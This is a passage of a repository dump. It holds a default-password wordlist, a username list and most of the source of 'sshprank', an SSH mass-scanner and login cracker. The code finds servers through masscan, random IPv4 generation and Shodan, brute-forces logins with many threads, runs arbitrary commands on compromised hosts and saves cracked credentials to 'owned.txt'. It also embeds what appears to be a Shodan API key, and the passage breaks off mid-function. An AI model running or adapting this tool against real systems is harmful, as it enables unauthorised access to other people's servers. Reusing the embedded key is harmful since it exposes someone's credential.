3\nPass123!\nPASS123\npass1234\npassw0rd\npassw0rd!\npassw0rd#\npassw0rd.\npassw0rd?\npassw0rd@\nPassw0rd\nPassw0rd!\nPassw0rd#\nPassw0rd.\nPassw0rd?\nPassw0rd@\npassw0rd1\npassw0rd1!\npassw0rd1?\nPassw0rd1\nPassw0rd1!\nPassw0rd1?\npassw0rd12\npassw0rd12!\npassw0rd12?\nPassw0rd12\nPassw0rd12!\nPassw0rd12?\npassw0rd123\npassw0rd123!\npassw0rd123?\nPassw0rd123\nPassw0rd123!\nPassw0rd123?\npassw0rd2\npassw0rd2!\npassw0rd2?\nPassw0rd2\nPassw0rd2!\nPassw0rd2?\npassw0rd3\nPassw0rd3\npassw0rd321\npassw0rd321!\npassw0rd321?\nPassw0rd321\nPassw0rd321!\nPassw0rd321?\npassword\npassword!\npassword#\npassword.\npassword?\npassword@\nPassword\nPassword!\nPassword#\nPassword.\nPassword?\nPassword@\nPassWord\nPASSWORD\nPASSWORD!\nPASSWORD#\nPASSWORD.\nPASSWORD?\nPASSWORD@\npassword1\npassword1!\npassword1?\nPassword1\nPassword1!\nPassword1?\nPASSWORD1\nPASSWORD1!\nPASSWORD1?\npassword12\npassword12!\npassword12?\nPassword12\nPassword12!\nPassword12?\nPASSWORD12\nPASSWORD12!\nPASSWORD12?\npassword123\npassword123!\npassword123?\nPassword123\nPassword123!\nPassword123?\nPASSWORD123\nPASSWORD123!\nPASSWORD123?\npassword2\npassword2!\npassword2?\nPassword2\nPassword2!\nPassword2?\nPASSWORD2\nPASSWORD2!\nPASSWORD2?\npassword3\nPassword3\nPASSWORD3\npassword321\npassword321!\npassword321?\nPassword321\nPassword321!\nPassword321?\nPASSWORD321\nPASSWORD321!\nPASSWORD321?\npi\npink\npink1\npink1!\npink123\npink123!\npostgres\npostgres123\npower\npower1\npower1!\npower123\npower123!\nP@ssw0rd\np@ssword\np@ssword!\np@ssword#\np@ssword.\np@ssword?\np@ssword@\nP@ssword\nP@ssword!\nP@ssword#\nP@ssword.\nP@ssword?\nP@ssword@\np@ssword1\np@ssword1!\np@ssword1?\nP@ssword1\nP@ssword1!\nP@ssword1?\np@ssword12\np@ssword12!\np@ssword12?\nP@ssword12\nP@ssword12!\nP@ssword12?\np@ssword123\np@ssword123!\np@ssword123?\nP@ssword123\nP@ssword123!\nP@ssword123?\np@ssword2\np@ssword2!\np@ssword2?\nP@ssword2\nP@ssword2!\nP@ssword2?\np@ssword3\nP@ssword3\np@ssword321\np@ssword321!\np@ssword321?\nP@ssword321\nP@ssword321!\nP@ssword321?\npurple\npurple1\npurple1!\npurple123\npurple123!\npw123\npw123!\nPW123\nPW123!\npw1234\nPW1234\nPW1234!\npwd\npwd1\npwd1!\nPwd1!\npwd123\npwd123!\npwer1234!\nqwerty\nqwerty123\nqwerty1234\nqwerty12345\nqwertz\nqwertz123\nqwertz1234\nqwertz12345\nraspberry\nreadonly\nred\nred1\nred1!\nred123\nred123!\nroot\nROOT\nroot123\nROOT123\nroot1234\nroot2024\nsetup\nsetup1\nsetup1!\nsetup123\nsilver\nspring\nSpring\nSPRING\nspring1\nspring1!\nSpring1\nspring123\nspring123!\nSpring123\nSpring123!\nssh\nssh123\nssh123!\nstudent\nsummer\nsummer!\nsummer#\nsummer.\nsummer?\nsummer@\nSummer!\nSummer#\nSummer.\nSummer?\nSummer@\nSUMMER\nSUMMER!\nSUMMER#\nSUMMER.\nSUMMER?\nSUMMER@\nsummer1\nsummer1!\nsummer1?\nSummer1\nSummer1!\nSummer1?\nSUMMER1\nSUMMER1!\nSUMMER1?\nsummer12\nsummer12!\nsummer12?\nSummer12\nSummer12!\nSummer12?\nSUMMER12\nSUMMER12!\nSUMMER12?\nsummer123\nsummer123!\nsummer123?\nSummer123\nSummer123!\nSummer123?\nSUMMER123\nSUMMER123!\nSUMMER123?\nsummer1234\nSummer1234\nsummer2\nsummer2!\nsummer2?\nSummer2\nSummer2!\nSummer2?\nSUMMER2\nSUMMER2!\nSUMMER2?\nsummer321\nsummer321!\nsummer321?\nSummer321\nSummer321!\nSummer321?\nSUMMER321\nSUMMER321!\nSUMMER321?\nsuperadmin\nsuperuser\nsupport\nsys\nsys1\nsys1!\nsys123\nsysadmin\nsystem\nsystem1\nsystem1!\nsystem123\nSystem123\nSystem123!\nteacher\ntest\ntest1\ntest1!\ntest123\ntest123!\ntest1234\ntest2024\ntester\ntester1\ntester1!\ntester123\ntester1234\ntesttest\nTestTest\ntomcat\ntomcat123\ntoor\ntoor123\nubuntu\nuser\nuser01\nuser1\nuser1!\nuser123\n@utumn!\n@utumn#\n@utumn.\n@utumn?\n@utumn@\n@utumn1\n@utumn1!\n@utumn1?\n@utumn12\n@utumn12!\n@utumn12?\n@utumn123\n@utumn123!\n@utumn123?\n@utumn2\n@utumn2!\n@utumn2?\n@utumn321\n@utumn321!\n@utumn321?\nvagina\nVagina\nvagina1\nvagina1!\nVagina1\nvagina123\nvagina123!\nvagrant\nweb\nweb01\nweb1\nweb123\nwebadmin\nwebmaster\nwebmaster123\nwelcome\nwelcome1\nWelcome1!\nwelcome123\nWelcome123!\nwhite\nwhite1\nwhite1!\nwhite123\nwhite123!\nwinter\nwinter!\nwinter#\nwinter.\nwinter?\nwinter@\nWinter\nWinter!\nWinter#\nWinter.\nWinter?\nWinter@\nWINTER\nWINTER!\nWINTER#\nWINTER.\nWINTER?\nWINTER@\nwinter1\nwinter1!\nwinter1?\nWinter1\nWinter1!\nWinter1?\nWINTER1\nWINTER1!\nWINTER1?\nwinter12\nwinter12!\nwinter12?\nWinter12\nWinter12!\nWinter12?\nWINTER12\nWINTER12!\nWINTER12?\nwinter123\nwinter123!\nwinter123?\nWinter123\nWinter123!\nWinter123?\nWINTER123\nWINTER123!\nWINTER123?\nwinter2\nwinter2!\nwinter2?\nWinter2\nWinter2!\nWinter2?\nWINTER2\nWINTER2!\nWINTER2?\nwinter321\nwinter321!\nwinter321?\nWinter321\nWinter321!\nWinter321?\nWINTER321\nWINTER321!\nWINTER321?\nwww\nwww123\nwww-data\nyellow\nzabbix\n"
  },
  {
    "path": "lists/user.list",
    "content": "accounting\nadmin\nansible\napache\nbackup\ncentos\ndebian\ndefault\ndeploy\ndev\ndeveloper\nec2-user\nelastic\nftp\nftpuser\nfwadmin\ngit\nguest\nguest01\nguest1\nhadoop\nhttp\ninfo\ninstaller\njenkins\nlogin\nmail\nmailadmin\nmaintainer\nmanager\nminecraft\nmonitor\nmysql\nnagios\nnginx\nnobody\nnone\nop\noperator\noracle\npi\npostgres\npower\nreadonly\nroot\nsetup\nssh\nstudent\nsuperadmin\nsuperuser\nsupport\nsys\nsysadmin\nsystem\nteacher\ntest\ntester\ntomcat\ntoor\nubuntu\nuser\nuser01\nuser1\nvagrant\nweb\nweb01\nweb1\nwebadmin\nwebmaster\nwww\nwww-data\nzabbix\n"
  },
  {
    "path": "sshprank.py",
    "content": "#!/usr/bin/python3\n# -*- coding: utf-8 -*- ########################################################\n#               ____                     _ __                                  #\n#    ___  __ __/ / /__ ___ ______ ______(_) /___ __                            #\n#   / _ \\/ // / / (_-</ -_) __/ // / __/ / __/ // /                            #\n#  /_//_/\\_,_/_/_/___/\\__/\\__/\\_,_/_/ /_/\\__/\\_, /                             #\n#                                           /___/ team                         #\n#                                                                              #\n# sshprank                                                                     #\n# A fast SSH mass-scanner, login cracker, banner grabber and password auth     #\n# checker tool using the python-masscan and shodan module.                     #\n#                                                                              #\n# NOTES                                                                        #\n# quick'n'dirty code                                                           #\n#                                                                              #\n# AUTHOR                                                                       #\n# noptrix                                                                      #\n#                                                                              #\n################################################################################\n\n\nimport errno\nimport getopt\nimport hashlib\nimport json\nimport os\nimport signal\nimport sys\nimport socket\nimport tempfile\nimport time\nimport random\nimport ipaddress\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor, wait, FIRST_COMPLETED\nimport warnings\nimport logging\nimport masscan\nimport paramiko\nimport paramiko.transport as _pt\nimport shodan\n\n\n__author__ = 'noptrix'\n__version__ = '1.7.0'\n__copyright__ = 'Santa Claus'\n__license__ = 'MIT'\n\n\nSUCCESS = 0\nFAILURE = 1\n\nNORM = '\\033[0;37;10m'\nBOLD = '\\033[1;37;10m'\nRED = '\\033[1;31;10m'\nGREEN = '\\033[1;32;10m'\nYELLOW = '\\033[1;33;10m'\nBLUE = '\\033[1;34;10m'\n\nBANNER = BLUE + r'''              __                           __\n   __________/ /_  ____  _________ _____  / /__\n  / ___/ ___/ __ \\/ __ \\/ ___/ __ `/ __ \\/ //_/\n (__  |__  ) / / / /_/ / /  / /_/ / / / / ,<\n/____/____/_/ /_/ .___/_/   \\__,_/_/ /_/_/|_|\n               /_/\n''' + NORM + '''\n      --== [ by nullsecurity.net ] ==--'''\n\nHELP = BOLD + '''usage''' + NORM + '''\n\n  sshprank <mode> [opts] | <misc>\n\n''' + BOLD + '''mode options''' + NORM + '''\n\n  -h <hosts[:ports]>    - single host, cidr, ip range or host list file to\n                          crack. multiple ports can be separated by comma,\n                          e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22\n                          or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50\n                          (default port: 22)\n\n  -m <opts> [-r <num>]  - pass arbitrary masscan opts, portscan given hosts and\n                          crack for logins. found sshd services will be saved to\n                          'sshds.txt' in supported format for '-h' option and\n                          even for '-b'. use '-r' for generating random ipv4\n                          addresses rather than scanning given hosts. these\n                          options are always on: '-sS -oX - --open'.\n                          NOTE: if you intent to use the '--banner' option then\n                          you need to specify '--source-ip <some_ipaddr>' which\n                          is needed by masscan. better check masscan options!\n\n  -s <str;page;lim>     - search ssh servers using shodan and crack logins.\n                          see examples below. note: you need a better API key\n                          than this one i offer in order to search more than 100\n                          (= 1 page) ssh servers. so if you use this one use\n                          '1' for 'page'.\n\n  -b <hosts[:ports]>    - grab sshd banner from given target(s)\n                          (default port: 22)\n                          format: same as '-h' option\n\n  -p <hosts[:ports]>    - check sshd(s) for password auth support\n                          (default port: 22)\n                          format: same as '-h' option\n\n''' + BOLD + '''scan options''' + NORM + '''\n\n  -r <num>              - generate <num> random ipv4 addresses, check for open\n                          sshd port and crack for login (only with -m option!)\n\n''' + BOLD + '''credential options''' + NORM + '''\n\n  -U <user|file>        - single username or user list (default: root)\n  -P <pass|file>        - single password or password list (default: root)\n  -c <file>             - list of user:pass combination\n\n''' + BOLD + '''brute options''' + NORM + '''\n\n  -e                    - exclude host after first login was found. continue\n                          with other hosts instead\n  -E                    - exit sshprank completely after first login was found\n  -z                    - shuffle target list randomly before cracking\n                          (only with -h <file>). saves to 'random_targets.txt'\n  -Z <num>              - random brute: pick random target + creds each attempt.\n                          <num> total attempts, 0 = infinite (use with -h, -U/-P)\n\n''' + BOLD + '''exec options''' + NORM + '''\n\n  -C <cmd|file>         - read commands from file (line by line) or execute a\n                          single command on host if login was cracked\n  -N                    - do not output ssh command results\n\n''' + BOLD + '''thread options''' + NORM + '''\n\n  -x <num>              - num threads for parallel host crack (default: 50)\n  -S <num>              - num threads for parallel service crack (default: 20)\n  -X <num>              - num threads for parallel login crack (default: 5)\n  -B <num>              - num threads for parallel banner grabbing (default: 70)\n\n''' + BOLD + '''timeout options''' + NORM + '''\n\n  -T <sec>              - num sec for auth and connect timeout (default: 5s)\n  -R <sec>              - num sec for (banner) read timeout (default: 3s)\n\n''' + BOLD + '''output options''' + NORM + '''\n\n  -o <file>             - write found logins to file. format:\n                          <host>:<port>:<user>:<pass> (default: owned.txt)\n  -v                    - verbose mode. show found logins, sshds, etc.\n                          (default: off)\n\n''' + BOLD + '''misc options''' + NORM + '''\n\n  -i <str>              - spoof ssh client version string sent to sshd\n                          (default: paramiko's default version string)\n  -w <file>             - session file: if it exists, restore progress from\n                          it (skip already-tried creds). on ctrl+c / -E,\n                          state is auto-saved to ./sshprank_session.json\n                          (or to <file> if -w was given). pass it back via\n                          -w to resume.\n  -H                    - print help\n  -V                    - print version information\n\n''' + BOLD + '''examples''' + NORM + '''\n\n  # crack targets from a given list with user admin, pw-list and 20 host-threads\n  $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20\n\n  # first scan then crack from founds ssh services using 'root:admin'\n  $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\\\\n    --range 192.168.13.1/24' -P admin\n\n  # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s\n  # and crack logins using 'root:root' on found sshds\n  $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v\n\n  # search 50 ssh servers via shodan and crack logins using 'root:root' against\n  # found sshds\n  $ sshprank -s 'SSH;1;50'\n\n  # grab banners and output to file with format supported for '-h' option\n  $ sshprank -b hosts.txt > sshds2.txt\n\n  # check if sshds support password auth\n  $ sshprank -p sshds.txt -v\n\n  # shuffle target list and crack\n  $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt\n\n  # random brute: 500 random attempts from ip/user/pass lists\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500\n\n  # random brute infinite (ctrl+c to stop)\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0\n\n  # spoof ssh client version and crack\n  $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'\n\n  # check pwauth with spoofed version\n  $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v\n\n  # session file: ctrl+c, then run again to resume\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json\n'''\n\nDEFAULT_SESSION_PATH = './sshprank_session.json'\n\nstargets = []   # shodan\nexcluded = {}\nexcluded_hosts = set()\n_log_lock = threading.Lock()\n_exclude_lock = threading.Lock()\n_progress_lock = threading.Lock()\n_attempts_done = 0\n_attempts_total = 0\n_progress_running = False\n_progress_unbounded = False\n_submitted_lock = threading.Lock()\n_submitted = {}   # {host: {port: count}} - cumulative iteration position\nopts = {\n  'targets': {},\n  'targetlist': None,\n  'masscan_opts': '--open ',\n  'sho_opts': None,\n  'sho_str': None,\n  'sho_page': None,\n  'sho_lim': None,\n  'sho_key': 'Pp1oDSiavzKQJSsRgdzuxFJs8PQXzBL9',\n  'user': 'root',\n  'pass': 'root',\n  'cmd': None,\n  'cmd_no_out': False,\n  'hthreads': 50,\n  'sthreads': 20,\n  'lthreads': 5,\n  'bthreads': 70,\n  'ctimeout': 5,\n  'rtimeout': 3,\n  'logfile': 'owned.txt',\n  'exclude': False,\n  'exit': False,\n  'shuffle': False,\n  'randbrute': None,\n  'verbose': False,\n  'sshver': None,\n  'session': None,\n  'userlist_path': None,\n  'passlist_path': None,\n  'combolist_path': None\n}\n\n\ndef log(msg='', _type='normal', pre_esc='', esc='\\n'):\n  iprefix = f'{BOLD}{BLUE}[+] {NORM}'\n  gprefix = f'{BOLD}{GREEN}[*] {NORM}'\n  wprefix = f'{BOLD}{YELLOW}[!] {NORM}'\n  eprefix = f'{BOLD}{RED}[-] {NORM}'\n  clear = '\\r\\033[K' if _progress_running else ''\n\n  if _type == 'normal':\n    sys.stdout.write(f'{msg}')\n  elif _type == 'verbose':\n    sys.stdout.write(f'    > {msg}{esc}')\n  elif _type == 'info':\n    sys.stderr.write(f'{clear}{pre_esc}{iprefix}{msg}{esc}')\n  elif _type == 'good':\n    sys.stderr.write(f'{clear}{pre_esc}{gprefix}{msg}{esc}')\n  elif _type == 'warn':\n    sys.stderr.write(f'{clear}{pre_esc}{wprefix}{msg}{esc}')\n  elif _type == 'error':\n    sys.stderr.write(f'{clear}{pre_esc}{eprefix}{msg}{esc}')\n    _cleanup_temp_files()\n    os._exit(FAILURE)\n  elif _type == 'spin':\n    sys.stderr.flush()\n    for i in ('-', '\\\\', '|', '/'):\n      sys.stderr.write(f'{pre_esc}{BOLD}{BLUE}[{i}] {NORM}{msg}')\n      time.sleep(0.05)\n\n  return\n\n\ndef parse_target(target):\n  if target.endswith(':'):\n    target = target.rstrip(':')\n\n  dtarget = {target.rstrip(): ['22']}\n\n  if ':' in target:\n    starget = target.split(':')\n    if starget[1]:\n      try:\n        if ',' in starget[1]:\n          ports = [p.rstrip() for p in starget[1].split(',')]\n        else:\n          ports = [starget[1].rstrip('\\n')]\n        ports = list(filter(None, ports))\n        dtarget = {starget[0].rstrip(): ports}\n      except ValueError as err:\n        log(err.args[0].lower(), 'error')\n\n  return dtarget\n\n\ndef read_file(_file):\n  try:\n    with open(_file, 'r', encoding='latin-1') as f:\n      return [line.rstrip('\\r\\n') for line in f if line.strip()]\n  except (FileNotFoundError, PermissionError, OSError):\n    log(f'could not read from {_file}', 'error')\n\n\n_MAX_EXPANSION = 1_000_000\n_temp_files = []\n\n\ndef _cleanup_temp_files():\n  for p in _temp_files:\n    try:\n      if os.path.exists(p):\n        os.unlink(p)\n    except OSError:\n      pass\n\n  return\n\n\ndef _write_temp_targets(prefix, hosts, port_part):\n  suffix = f':{port_part}' if port_part else ''\n  fd, path = tempfile.mkstemp(prefix=prefix, suffix='.txt', text=True)\n  try:\n    with os.fdopen(fd, 'w') as f:\n      for ip in hosts:\n        f.write(f'{ip}{suffix}\\n')\n  except OSError as err:\n    log(f'could not write target expansion: {err.strerror}', 'error')\n    return None\n  _temp_files.append(path)\n\n  return path\n\n\ndef _expand_cidr_to_file(arg):\n  if ':' in arg:\n    host_part, port_part = arg.split(':', 1)\n  else:\n    host_part, port_part = arg, ''\n  if '/' not in host_part or '.' not in host_part:\n    return None\n  try:\n    net = ipaddress.ip_network(host_part.strip(), strict=False)\n  except ValueError:\n    return None\n  count = net.num_addresses if net.num_addresses == 1 else max(0, net.num_addresses - 2)\n  if count > _MAX_EXPANSION:\n    log(f'cidr {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',\n        'error')\n    return None\n  hosts = [net.network_address] if net.num_addresses == 1 else list(net.hosts())\n\n  return _write_temp_targets('sshprank_cidr_', hosts, port_part)\n\n\ndef _expand_range_to_file(arg):\n  if ':' in arg:\n    host_part, port_part = arg.split(':', 1)\n  else:\n    host_part, port_part = arg, ''\n  if '-' not in host_part or '.' not in host_part:\n    return None\n  start_str, _, end_str = host_part.strip().partition('-')\n  try:\n    start = ipaddress.IPv4Address(start_str)\n  except (ipaddress.AddressValueError, ValueError):\n    return None\n  if '.' in end_str:\n    try:\n      end = ipaddress.IPv4Address(end_str)\n    except (ipaddress.AddressValueError, ValueError):\n      return None\n  else:\n    if not end_str.isdigit() or not 0 <= int(end_str) <= 255:\n      return None\n    base = '.'.join(start_str.split('.')[:3])\n    try:\n      end = ipaddress.IPv4Address(f'{base}.{end_str}')\n    except (ipaddress.AddressValueError, ValueError):\n      return None\n  if int(end) < int(start):\n    log(f'invalid range: {host_part} (end < start)', 'error')\n    return None\n  count = int(end) - int(start) + 1\n  if count > _MAX_EXPANSION:\n    log(f'range {host_part} expands to {count} hosts (max {_MAX_EXPANSION})',\n        'error')\n    return None\n  hosts = [ipaddress.IPv4Address(i) for i in range(int(start), int(end) + 1)]\n\n  return _write_temp_targets('sshprank_range_', hosts, port_part)\n\n\ndef parse_cmdline(cmdline):\n  global opts\n\n  try:\n    _opts, _args = getopt.gnu_getopt(cmdline,\n      'h:m:s:b:p:r:U:P:c:C:Nx:S:X:B:T:R:o:i:w:eEzZ:vVH')\n    if _args:\n      log(f'unknown args: {\", \".join(_args)}', 'error')\n    for o, a in _opts:\n      if o == '-h':\n        if os.path.isfile(a):\n          opts['targetlist'] = a\n        else:\n          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)\n          if expanded:\n            opts['targetlist'] = expanded\n          else:\n            opts['targets'] = parse_target(a)\n      if o == '-m':\n        opts['masscan_opts'] += a\n      if o == '-s':\n        opts['sho_opts'] = a\n      if o == '-b':\n        if os.path.isfile(a):\n          opts['targetlist'] = a\n        else:\n          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)\n          if expanded:\n            opts['targetlist'] = expanded\n          else:\n            opts['targets'] = parse_target(a)\n      if o == '-p':\n        if os.path.isfile(a):\n          opts['targetlist'] = a\n        else:\n          expanded = _expand_cidr_to_file(a) or _expand_range_to_file(a)\n          if expanded:\n            opts['targetlist'] = expanded\n          else:\n            opts['targets'] = parse_target(a)\n      if o == '-r':\n        opts['random'] = int(a)\n      if o == '-U':\n        if os.path.isfile(a):\n          opts['userlist'] = read_file(a)\n          opts['userlist_path'] = a\n        else:\n          opts['user'] = a\n      if o == '-P':\n        if os.path.isfile(a):\n          opts['passlist'] = read_file(a)\n          opts['passlist_path'] = a\n        else:\n          opts['pass'] = a\n      if o == '-c':\n        raw = read_file(a) or []\n        valid = []\n        bad = []\n        for line in raw:\n          if ':' in line:\n            valid.append(line)\n          else:\n            bad.append(line)\n        opts['combolist'] = valid\n        opts['combolist_path'] = a\n        opts['_combo_bad_lines'] = bad\n      if o == '-C':\n        opts['cmd'] = a\n      if o == '-N':\n        opts['cmd_no_out'] = True\n      if o == '-x':\n        opts['hthreads'] = int(a)\n      if o == '-S':\n        opts['sthreads'] = int(a)\n      if o == '-X':\n        opts['lthreads'] = int(a)\n      if o == '-B':\n        opts['bthreads'] = int(a)\n      if o == '-T':\n        opts['ctimeout'] = int(a)\n      if o == '-R':\n        opts['rtimeout'] = int(a)\n      if o == '-o':\n        opts['logfile'] = a\n      if o == '-i':\n        opts['sshver'] = a\n      if o == '-w':\n        opts['session'] = a\n      if o == '-e':\n        opts['exclude'] = True\n      if o == '-E':\n        opts['exit'] = True\n      if o == '-z':\n        opts['shuffle'] = True\n      if o == '-Z':\n        opts['randbrute'] = int(a)\n      if o == '-v':\n        opts['verbose'] = True\n      if o == '-V':\n        log(f'sshprank v{__version__}', _type='info')\n        sys.exit(SUCCESS)\n      if o == '-H':\n        log(HELP)\n        sys.exit(SUCCESS)\n    for k, flag in (('hthreads', '-x'), ('sthreads', '-S'),\n                    ('lthreads', '-X'), ('bthreads', '-B')):\n      if opts[k] < 1:\n        log(f'{flag} must be >= 1 (got {opts[k]})', 'error')\n    if 'random' in opts and opts['random'] < 1:\n      log(f'-r must be >= 1 (got {opts[\"random\"]})', 'error')\n    if opts['randbrute'] is not None and opts['randbrute'] < 0:\n      log(f'-Z must be >= 0 (got {opts[\"randbrute\"]})', 'error')\n    bad = opts.pop('_combo_bad_lines', [])\n    if bad:\n      if opts['verbose']:\n        for line in bad:\n          log(f'skipping malformed combo line: {line!r}', 'warn')\n      else:\n        log(f'skipped {len(bad)} malformed combo line(s)', 'warn')\n  except (getopt.GetoptError, ValueError) as err:\n    log(err.args[0].lower(), 'error')\n\n  return\n\n\ndef check_argv(cmdline):\n  modes = False\n  needed = ['-h', '-m', '-s', '-b', '-p', '-H', '-V']\n\n  if set(needed).isdisjoint(set(cmdline)):\n    log('wrong usage dude, check help', 'error')\n\n  if '-h' in cmdline:\n    if '-m' in cmdline or '-s' in cmdline or \\\n        '-b' in cmdline or '-p' in cmdline:\n      modes = True\n  if '-m' in cmdline:\n    if '-h' in cmdline or '-s' in cmdline or \\\n        '-b' in cmdline or '-p' in cmdline:\n      modes = True\n  if '-s' in cmdline:\n    if '-h' in cmdline or '-m' in cmdline or \\\n        '-b' in cmdline or '-p' in cmdline:\n      modes = True\n  if '-b' in cmdline:\n    if '-h' in cmdline or '-m' in cmdline or \\\n        '-s' in cmdline or '-p' in cmdline:\n      modes = True\n  if '-p' in cmdline:\n    if '-h' in cmdline or '-m' in cmdline or \\\n        '-s' in cmdline or '-b' in cmdline:\n      modes = True\n\n  if modes:\n    log('choose only one mode', 'error')\n\n  opts['_session_eligible'] = not (\n    '-b' in cmdline or '-p' in cmdline or '-Z' in cmdline)\n\n  if '-w' in cmdline and not opts['_session_eligible']:\n    log('-w (session) has no effect with -b/-p/-Z, ignoring', 'warn')\n    opts['session'] = None\n\n  if '-r' in cmdline and '-m' not in cmdline:\n    log('-r requires -m', 'error')\n\n  return\n\n\ndef check_argc(cmdline):\n  if len(cmdline) == 0:\n    log('use -H for help', 'error')\n\n  return\n\n\ndef grab_banner(host, port):\n  s = None\n  try:\n    s = socket.create_connection((host, int(port)), opts['ctimeout'])\n    s.settimeout(opts['rtimeout'])\n    banner = str(s.recv(1024).decode('utf-8', errors='replace')).strip()\n    if not banner:\n      banner = '<NO BANNER>'\n    log(f'{host}:{port}:{banner}\\n')\n  except socket.timeout:\n    if opts['verbose']:\n      log(f'socket timeout: {host}:{port}', 'warn')\n  except (OSError, ValueError):\n    if opts['verbose']:\n      log(f'could not connect: {host}:{port}', 'warn')\n  finally:\n    if s:\n      s.close()\n\n  return\n\n\nclass PortScanner(masscan.PortScanner):\n  @property\n  def scan_result(self):\n    return self._scan_result\n\n\ndef portscan():\n  try:\n    m = PortScanner()\n    m.scan(hosts='', ports='0', arguments=opts['masscan_opts'], sudo=True)\n  except masscan.NetworkConnectionError as err:\n    log('\\n')\n    log('no sshds found or network unreachable', 'error')\n  except Exception as err:\n    log('\\n')\n    log(f'unknown masscan error occured: {err}', 'error')\n\n  return m\n\n\ndef grep_service(scan, service='ssh', prot='tcp'):\n  targets = []\n\n  scan_result = scan.scan_result or {}\n  for h, hdata in scan_result.get('scan', {}).items():\n    for p, pdata in hdata.get(prot, {}).items():\n      if pdata.get('state') != 'open':\n        continue\n      services = pdata.get('services') or []\n      if services:\n        for s in services:\n          banner = s.get('banner', '')\n          name = s.get('name', '')\n          target = f\"{h}:{p}:{banner}\\n\"\n          if opts['verbose']:\n            log(f'found sshd: {target}', 'good', esc='')\n          if service in name:\n            targets.append(target)\n      else:\n        if opts['verbose']:\n          log(f'found sshd: {h}:{p}:<no banner grab>', 'good', esc='\\n')\n        targets.append(f'{h}:{p}:<no banner grab>\\n')\n\n  return targets\n\n\ndef log_targets(targets, logfile):\n  try:\n    with _log_lock:\n      with open(logfile, 'a') as f:\n        f.writelines(targets)\n  except (FileNotFoundError, PermissionError) as err:\n    log(f'{err.args[1].lower()}: {logfile}', 'warn')\n\n  return\n\n\ndef _hash_file(path):\n  if not path or not os.path.isfile(path):\n    return None\n  h = hashlib.sha256()\n  try:\n    with open(path, 'rb') as f:\n      for chunk in iter(lambda: f.read(65536), b''):\n        h.update(chunk)\n    return h.hexdigest()\n  except OSError:\n    return None\n\n  return\n\ndef _save_session(path):\n  if not path:\n    return\n  data = {\n    'version': __version__,\n    'saved_at': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()),\n    'hashes': {\n      'userlist': _hash_file(opts.get('userlist_path')),\n      'passlist': _hash_file(opts.get('passlist_path')),\n      'combolist': _hash_file(opts.get('combolist_path')),\n    },\n    'submitted': {\n      h: dict(ports) for h, ports in _submitted.items()\n    },\n    'excluded_hosts': sorted(excluded_hosts),\n    'excluded_ports': {h: sorted(ps) for h, ps in excluded.items() if ps},\n  }\n  try:\n    tmp = path + '.tmp'\n    with open(tmp, 'w', encoding='utf-8') as f:\n      json.dump(data, f, indent=2)\n    os.replace(tmp, path)\n  except OSError as err:\n    log(f'could not save session to {path}: {err}', 'warn')\n\n  return\n\n\ndef _resolve_session_path(interrupted):\n  if opts['session']:\n    return opts['session']\n  if interrupted and opts.get('_session_eligible', True):\n    return DEFAULT_SESSION_PATH\n\n  return None\n\n\ndef _save_and_log_session(interrupted):\n  path = _resolve_session_path(interrupted)\n  if path:\n    _save_session(path)\n    log(f'session saved to {path}', 'info')\n\n\ndef _load_session(path):\n  if not path or not os.path.isfile(path):\n    return None\n  try:\n    with open(path, 'r', encoding='utf-8') as f:\n      return json.load(f)\n  except (OSError, json.JSONDecodeError) as err:\n    log(f'session file corrupt ({err}), starting fresh', 'warn')\n    return None\n\n  return\n\n\ndef _apply_session(data):\n  global _submitted\n  hashes = data.get('hashes', {})\n  for kind, path_key in (('userlist', 'userlist_path'),\n                          ('passlist', 'passlist_path'),\n                          ('combolist', 'combolist_path')):\n    saved = hashes.get(kind)\n    if not saved:\n      continue\n    cur = _hash_file(opts.get(path_key))\n    if cur and cur != saved:\n      log(f'{kind} changed since last session - results may be off', 'warn')\n  with _submitted_lock:\n    for h, ports in data.get('submitted', {}).items():\n      _submitted[h] = {p: int(c) for p, c in ports.items()}\n  for h in data.get('excluded_hosts', []):\n    excluded_hosts.add(h)\n  for h, ps in data.get('excluded_ports', {}).items():\n    excluded.setdefault(h, set()).update(ps)\n\n  return\n\n\ndef _progress_inc_done(n=1):\n  global _attempts_done\n  with _progress_lock:\n    _attempts_done += n\n\n  return\n\n\ndef _progress_inc_total(n):\n  global _attempts_total\n  with _progress_lock:\n    _attempts_total += n\n\n  return\n\n\ndef _progress_loop():\n  iprefix = f'{BOLD}{BLUE}[+] {NORM}'\n  while _progress_running:\n    with _progress_lock:\n      done, total = _attempts_done, _attempts_total\n    if _progress_unbounded:\n      sys.stderr.write(f'\\r{iprefix}cracking {done} attempts   ')\n      sys.stderr.flush()\n    elif total > 0:\n      pct = done / total * 100\n      sys.stderr.write(f'\\r{iprefix}cracking {done}/{total} ({pct:.2f}%)   ')\n      sys.stderr.flush()\n    time.sleep(0.25)\n  with _progress_lock:\n    done, total = _attempts_done, _attempts_total\n  if _progress_unbounded:\n    sys.stderr.write(f'\\r{iprefix}cracking {done} attempts\\n')\n    sys.stderr.flush()\n  elif total > 0:\n    pct = done / total * 100\n    sys.stderr.write(f'\\r{iprefix}cracking {done}/{total} ({pct:.2f}%)\\n')\n    sys.stderr.flush()\n\n  return\n\n\ndef status(future, msg, pre_esc=''):\n  while future.running():\n    log(msg, 'spin', pre_esc)\n\n  return\n\n\ndef _run_remote_cmd(cli, cmd):\n  try:\n    stdin, stdout, stderr = cli.exec_command(cmd, timeout=opts['ctimeout'])\n    try:\n      stdin.channel.shutdown_write()\n    except Exception:\n      pass\n    if opts['cmd_no_out']:\n      return\n    rl = 